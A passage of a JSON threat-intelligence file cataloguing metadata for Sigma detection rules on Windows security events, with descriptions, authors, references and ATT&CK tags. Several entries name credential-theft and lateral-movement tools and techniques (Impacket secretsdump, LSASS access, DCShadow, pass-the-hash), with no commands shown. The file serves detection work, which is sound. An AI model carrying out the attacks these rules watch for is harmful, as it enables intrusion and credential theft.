Ruler" }, { "description": "Checks for event id 1102 which indicates the security event log was cleared.", "meta": { "author": "Saw Winn Naung", "creation_date": "2021/08/15", "falsepositive": [ "Legitimate administrative activity" ], "filename": "win_security_event_log_cleared.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/SecurityEventLogCleared.yaml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_event_log_cleared.yml" ], "tags": [ "attack.t1070.001" ] }, "related": [ { "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a122ac13-daf8-4175-83a2-72c387be339d", "value": "Security Event Log Cleared" }, { "description": "Detects known malicious service installs that only appear in cases of lateral movement, credential dumping, and other suspicious activities.", "meta": { "author": "Florian Roth, Daniil Yugoslavskiy, oscd.community (update)", "creation_date": "2017/03/27", "falsepositive": [ "Unknown" ], "filename": "win_security_mal_service_installs.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://awakesecurity.com/blog/threat-hunting-for-paexec/", "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf", "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_service_installs.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1003", "car.2013-09-005", "attack.t1543.003", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cb062102-587e-4414-8efa-dbe3c7bf19c6", "value": "Malicious Service Installations" }, { "description": "Detects execution of Impacket's psexec.py.", "meta": { "author": "Bhabesh Raj", "creation_date": "2020/12/14", "falsepositive": [ "Unknown" ], "filename": "win_security_impacket_psexec.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_psexec.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.002" ] }, "uuid": "32d56ea1-417f-44ff-822b-882873f5f43b", "value": "Impacket PsExec Execution" }, { "description": "Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group", "meta": { "author": "Florian Roth, Bartlomiej Czyz (@bczyz1)", "creation_date": "2019/03/04", "falsepositive": [ "Unknown" ], "filename": "win_security_apt_slingshot.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://securelist.com/apt-slingshot/84312/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_slingshot.yml" ], "tags": [ "attack.persistence", "attack.t1053", "attack.s0111" ] }, "uuid": "c5a178bf-9cfb-4340-b584-e4df39b6a3e7", "value": "Defrag Deactivation - Security" }, { "description": "Detects remote service activity via remote access to the svcctl named pipe", "meta": { "author": "Samir Bousseaden", "creation_date": "2019/04/03", "falsepositive": [ "Unknown" ], "filename": "win_security_svcctl_remote_service.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://blog.menasec.net/2019/03/threat-hunting-26-remote-windows.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_svcctl_remote_service.yml" ], "tags": [ "attack.lateral_movement", "attack.persistence", "attack.t1021.002" ] }, "uuid": "586a8d6b-6bfe-4ad9-9d78-888cd2fe50c3", "value": "Remote Service Activity via SVCCTL Named Pipe" }, { "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/10/09", "falsepositive": [ "Unknown" ], "filename": "win_security_invoke_obfuscation_via_use_rundll32_services_security.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_rundll32_services_security.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cd0f7229-d16f-42de-8fe3-fba365fbcb3a", "value": "Invoke-Obfuscation Via Use Rundll32 - Security" }, { "description": "Detects a user log-off activity. Could be used for example to correlate information during forensic investigations", "meta": { "author": "frack113", "creation_date": "2022/10/14", "falsepositive": [ "Unknown" ], "filename": "win_security_user_logoff.yml", "level": "informational", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4647", "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4634", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_logoff.yml" ], "tags": "No established tags" }, "uuid": "0badd08f-c6a3-4630-90d3-6875cca440be", "value": "User Logoff Event" }, { "description": "Detects access to $ADMIN share", "meta": { "author": "Florian Roth", "creation_date": "2017/03/04", "falsepositive": [ "Legitimate administrative activity" ], "filename": "win_security_admin_share_access.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_share_access.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.002" ] }, "uuid": "098d7118-55bc-4912-a836-dc6483a8d150", "value": "Access to ADMIN$ Share" }, { "description": "Detects enumeration of the global catalog (that can be performed using BloodHound or others AD reconnaissance tools). Adjust Threshold according to domain width.", "meta": { "author": "Chakib Gzenayi (@Chak092), Hosni Mribah", "creation_date": "2020/05/11", "falsepositive": [ "Exclude known DCs." ], "filename": "win_security_global_catalog_enumeration.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5156", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_global_catalog_enumeration.yml" ], "tags": [ "attack.discovery", "attack.t1087.002" ] }, "uuid": "619b020f-0fd7-4f23-87db-3f51ef837a34", "value": "Enumeration via the Global Catalog" }, { "description": "Detects the attack technique pass the hash which is used to move laterally inside the network", "meta": { "author": "Dave Kennedy, Jeff Warren (method) / David Vassallo (rule)", "creation_date": "2019/06/14", "falsepositive": [ "Administrator activity" ], "filename": "win_security_pass_the_hash_2.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events", "https://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis", "https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_pass_the_hash_2.yml" ], "tags": [ "attack.lateral_movement", "attack.t1550.002" ] }, "uuid": "8eef149c-bd26-49f2-9e5a-9b00e3af499b", "value": "Pass the Hash Activity 2" }, { "description": "Detects renaming of file while deletion with SDelete tool.", "meta": { "author": "Thomas Patzke", "creation_date": "2017/06/14", "falsepositive": [ "Legitimate usage of SDelete" ], "filename": "win_security_susp_sdelete.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-gb/sysinternals/downloads/sdelete", "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/sdelete.htm", "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_sdelete.yml" ], "tags": [ "attack.impact", "attack.defense_evasion", "attack.t1070.004", "attack.t1027.005", "attack.t1485", "attack.t1553.002", "attack.s0195" ] }, "related": [ { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "39a80702-d7ca-4a83-b776-525b1f86a36d", "value": "Secure Deletion with SDelete" }, { "description": "Detects logon events that specify new credentials", "meta": { "author": "Max Altgelt", "creation_date": "2022/04/06", "falsepositive": [ "Legitimate remote administration activity" ], "filename": "win_security_susp_logon_newcredentials.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_logon_newcredentials.yml" ], "tags": "No established tags" }, "uuid": "def8b624-e08f-4ae1-8612-1ba21190da6b", "value": "Outgoing Logon with New Credentials" }, { "description": "Detects certificate creation with template allowing risk permission subject", "meta": { "author": "Orlinum , BlueDefenZer", "creation_date": "2021/11/17", "falsepositive": [ "Administrator activity", "Proxy SSL certificate with subject modification", "Smart card enrollement" ], "filename": "win_security_adcs_certificate_template_configuration_vulnerability.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability.yml" ], "tags": [ "attack.privilege_escalation", "attack.credential_access" ] }, "uuid": "5ee3a654-372f-11ec-8d3d-0242ac130003", "value": "ADCS Certificate Template Configuration Vulnerability" }, { "description": "Detects potential use of Rubeus via registered new trusted logon process", "meta": { "author": "Roberto Rodriguez (source), Ilyas Ochkov (rule), oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Unknown" ], "filename": "win_security_register_new_logon_process_by_rubeus.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_register_new_logon_process_by_rubeus.yml" ], "tags": [ "attack.lateral_movement", "attack.privilege_escalation", "attack.t1558.003" ] }, "uuid": "12e6d621-194f-4f59-90cc-1959e21e69f7", "value": "Register new Logon Process by Rubeus" }, { "description": "Detects activity mentioned in Operation Wocao report", "meta": { "author": "Florian Roth, frack113", "creation_date": "2019/12/20", "falsepositive": [ "Administrators that use checkadmin.exe tool to enumerate local administrators" ], "filename": "win_security_apt_wocao.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/", "https://twitter.com/SBousseaden/status/1207671369963646976", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_wocao.yml" ], "tags": [ "attack.discovery", "attack.t1012", "attack.defense_evasion", "attack.t1036.004", "attack.t1027", "attack.execution", "attack.t1053.005", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "74ad4314-482e-4c3e-b237-3f7ed3b9ca8d", "value": "Operation Wocao Activity - Security" }, { "description": "Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.", "meta": { "author": "OTR (Open Threat Research)", "creation_date": "2018/11/28", "falsepositive": [ "Domain Controllers acting as printer servers too? :)" ], "filename": "win_security_dce_rpc_smb_spoolss_named_pipe.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", "https://twitter.com/_dirkjan/status/1309214379003588608", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dce_rpc_smb_spoolss_named_pipe.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.002" ] }, "uuid": "214e8f95-100a-4e04-bb31-ef6cba8ce07e", "value": "DCERPC SMB Spoolss Named Pipe" }, { "description": "Detects Obfuscated Powershell via Stdin in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/10/12", "falsepositive": [ "Unknown" ], "filename": "win_security_invoke_obfuscation_via_stdin_services_security.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_stdin_services_security.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "80b708f3-d034-40e4-a6c8-d23b7a7db3d1", "value": "Invoke-Obfuscation Via Stdin - Security" }, { "description": "Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation", "meta": { "author": "Bartlomiej Czyz, Relativity", "creation_date": "2021/01/21", "falsepositive": [ "Possible, different agents with a 8 character binary and a 4, 8 or 16 character service name" ], "filename": "win_security_metasploit_or_impacket_smb_psexec_service_install.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://bczyz1.github.io/2021/01/30/psexec.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_or_impacket_smb_psexec_service_install.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.002", "attack.t1570", "attack.execution", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6fb63b40-e02a-403e-9ffd-3bcc1d749442", "value": "Metasploit Or Impacket Service Installation Via SMB PsExec" }, { "description": "Detects WRITE_DAC access to a domain object", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", "creation_date": "2019/09/12", "falsepositive": [ "Unknown" ], "filename": "win_security_ad_object_writedac_access.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190101151110.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_object_writedac_access.yml" ], "tags": [ "attack.defense_evasion", "attack.t1222.001" ] }, "related": [ { "dest-uuid": "34e793de-0274-4982-9c1a-246ed1c19dee", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "028c7842-4243-41cd-be6f-12f3cf1a26c7", "value": "AD Object WriteDAC Access" }, { "description": "This method triggers on rare Kerberos Failure Codes caused by manipulations of Kerberos messages", "meta": { "author": "Florian Roth", "creation_date": "2017/02/10", "falsepositive": [ "Faulty legacy applications" ], "filename": "win_security_susp_kerberos_manipulation.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_kerberos_manipulation.yml" ], "tags": [ "attack.credential_access", "attack.t1212" ] }, "related": [ { "dest-uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f7644214-0eb0-4ace-9455-331ec4c09253", "value": "Kerberos Manipulation" }, { "description": "This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes", "meta": { "author": "Samir Bousseaden", "creation_date": "2019/04/03", "falsepositive": [ "Update the excluded named pipe to filter out any newly observed legit named pipe" ], "filename": "win_security_lm_namedpipe.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/menasec1/status/1104489274387451904", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lm_namedpipe.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.002" ] }, "uuid": "52d8b0c6-53d6-439a-9e41-52ad442ad9ad", "value": "First Time Seen Remote Named Pipe" }, { "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references", "meta": { "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", "creation_date": "2019/11/08", "falsepositive": [ "Unknown" ], "filename": "win_security_invoke_obfuscation_obfuscated_iex_services_security.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_obfuscated_iex_services_security.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027" ] }, "uuid": "fd0f5778-d3cb-4c9a-9695-66759d04702a", "value": "Invoke-Obfuscation Obfuscated IEX Invocation - Security" }, { "description": "Configure systems to issue a log entry and alert when an account is added to or removed from any group assigned administrative privileges.\nSigma detects\nEvent ID 4728 indicates a ‘Member is added to a Security Group’.\nEvent ID 4729 indicates a ‘Member is removed from a Security enabled-group’ .\nEvent ID 4730 indicates a ‘Security Group is deleted’.\nThe case is not applicable for Unix OS.\nSupported OS - Windows 2008 R2 and 7, Windows 2012 R2 and 8.1, Windows 2016 and 10 Windows Server 2019, Windows Server 2000, Windows 2003 and XP.\n", "meta": { "author": "Alexandr Yampolskyi, SOC Prime", "creation_date": "2019/03/26", "falsepositive": [ "Unknown" ], "filename": "win_security_group_modification_logging.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4730", "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=634", "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", "https://www.cisecurity.org/controls/cis-controls-list/", "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=633", "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=632", "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4729", "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4728", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_group_modification_logging.yml" ], "tags": "No established tags" }, "uuid": "9cf01b6c-e723-4841-a868-6d7f8245ca6e", "value": "Group Modification Logging" }, { "description": "Transferring files with well-known filenames (sensitive files with credential data) using network shares", "meta": { "author": "Teymur Kheirkhabarov, oscd.community", "creation_date": "2019/10/22", "falsepositive": [ "Transferring sensitive files for legitimate administration work by legitimate administrator" ], "filename": "win_security_transf_files_with_cred_data_via_network_shares.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_transf_files_with_cred_data_via_network_shares.yml" ], "tags": [ "attack.credential_access", "attack.t1003.002", "attack.t1003.001", "attack.t1003.003" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "910ab938-668b-401b-b08c-b596e80fdca5", "value": "Transferring Files with Credential Data via Network Shares" }, { "description": "Detects logon events that have characteristics of events generated during an attack with KrbRelayUp and the like", "meta": { "author": "@SBousseaden, Florian Roth", "creation_date": "2022/04/27", "falsepositive": [ "Unknown" ], "filename": "win_security_susp_krbrelayup.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/sbousseaden/status/1518976397364056071?s=12&t=qKO5eKHvWhAP19a50FTZ7g", "https://github.com/elastic/detection-rules/blob/fb6ee2c69864ffdfe347bf3b050cb931f53067a6/rules/windows/privilege_escalation_krbrelayup_suspicious_logon.toml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_krbrelayup.yml" ], "tags": [ "attack.privilege_escalation", "attack.credential_access" ] }, "uuid": "749c9f5e-b353-4b90-a9c1-05243357ca4b", "value": "KrbRelayUp Attack Pattern" }, { "description": "Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", "creation_date": "2019/09/12", "falsepositive": [ "Legitimate use of remote PowerShell execution" ], "filename": "win_security_remote_powershell_session.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_remote_powershell_session.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "13acf386-b8c6-4fe0-9a6e-c4756b974698", "value": "Remote PowerShell Sessions Network Connections (WinRM)" }, { "description": "Detects the usage of particular AttributeLDAPDisplayNames, which are known for data exchange via LDAP by the tool LDAPFragger and are additionally not commonly used in companies.", "meta": { "author": "xknow @xknow_infosec", "creation_date": "2019/03/24", "falsepositive": [ "Companies, who may use these default LDAP-Attributes for personal information" ], "filename": "win_security_susp_ldap_dataexchange.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/fox-it/LDAPFragger", "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_ldap_dataexchange.yml" ], "tags": [ "attack.t1001.003", "attack.command_and_control" ] }, "related": [ { "dest-uuid": "c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d00a9a72-2c09-4459-ad03-5e0a23351e36", "value": "Suspicious LDAP-Attributes Used" }, { "description": "Detects a source user failing to authenticate with multiple users using explicit credentials on a host.", "meta": { "author": "Mauricio Velazco", "creation_date": "2021/06/01", "falsepositive": [ "Terminal servers", "Jump servers", "Other multiuser systems like Citrix server farms", "Workstations with frequently changing users" ], "filename": "win_security_susp_failed_logons_explicit_credentials.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_explicit_credentials.yml" ], "tags": [ "attack.t1110.003", "attack.initial_access", "attack.privilege_escalation" ] }, "uuid": "196a29c2-e378-48d8-ba07-8a9e61f7fab9", "value": "Multiple Users Attempting To Authenticate Using Explicit Credentials" }, { "description": "Detects potential mimikatz-like tools accessing LSASS from non system account", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", "creation_date": "2019/06/20", "falsepositive": [ "Unknown" ], "filename": "win_security_lsass_access_non_system_account.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-170105221010.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lsass_access_non_system_account.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "962fe167-e48d-4fd6-9974-11e5b9a5d6d1", "value": "LSASS Access from Non System Account" }, { "description": "Detect AD credential dumping using impacket secretdump HKTL", "meta": { "author": "Samir Bousseaden, wagga", "creation_date": "2019/04/03", "falsepositive": [ "Unknown" ], "filename": "win_security_impacket_secretdump.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_secretdump.yml" ], "tags": [ "attack.credential_access", "attack.t1003.002", "attack.t1003.004", "attack.t1003.003" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "252902e3-5830-4cf6-bf21-c22083dfd5cf", "value": "Possible Impacket SecretDump Remote Activity" }, { "description": "Detects certificate creation with template allowing risk permission subject and risky EKU", "meta": { "author": "Orlinum , BlueDefenZer", "creation_date": "2021/11/17", "falsepositive": [ "Administrator activity", "Proxy SSL certificate with subject modification", "Smart card enrollement" ], "filename": "win_security_adcs_certificate_template_configuration_vulnerability_eku.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability_eku.yml" ], "tags": [ "attack.privilege_escalation", "attack.credential_access" ] }, "uuid": "bfbd3291-de87-4b7c-88a2-d6a5deb28668", "value": "ADCS Certificate Template Configuration Vulnerability with Risky EKU" }, { "description": "Detects DCShadow via create new SPN", "meta": { "author": "Ilyas Ochkov, oscd.community, Chakib Gzenayi (@Chak092), Hosni Mribah", "creation_date": "2019/10/25", "falsepositive": [ "Valid on domain controllers; exclude known DCs" ], "filename": "win_security_possible_dc_shadow.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2", "https://blog.alsid.eu/dcshadow-explained-4510f52fc19d", "https://twitter.com/gentilkiwi/status/1003236624925413376", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_possible_dc_shadow.yml" ], "tags": [ "attack.credential_access", "attack.t1207" ] }, "related": [ { "dest-uuid": "564998d8-ab3e-4123-93fb-eccaa6b9714a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "32e19d25-4aed-4860-a55a-be99cb0bf7ed", "value": "Possible DC Shadow Attack" }, { "description": "Detects tools extracting LSA secret DPAPI domain backup key from Domain Controllers", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", "creation_date": "2019/06/20", "falsepositive": [ "Unknown" ], "filename": "win_security_dpapi_domain_backupkey_extraction.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_backupkey_extraction.yml" ], "tags": [ "attack.credential_access", "attack.t1003.004" ] }, "related": [ { "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4ac1f50b-3bd0-4968-902d-868b4647937e", "value": "DPAPI Domain Backup Key 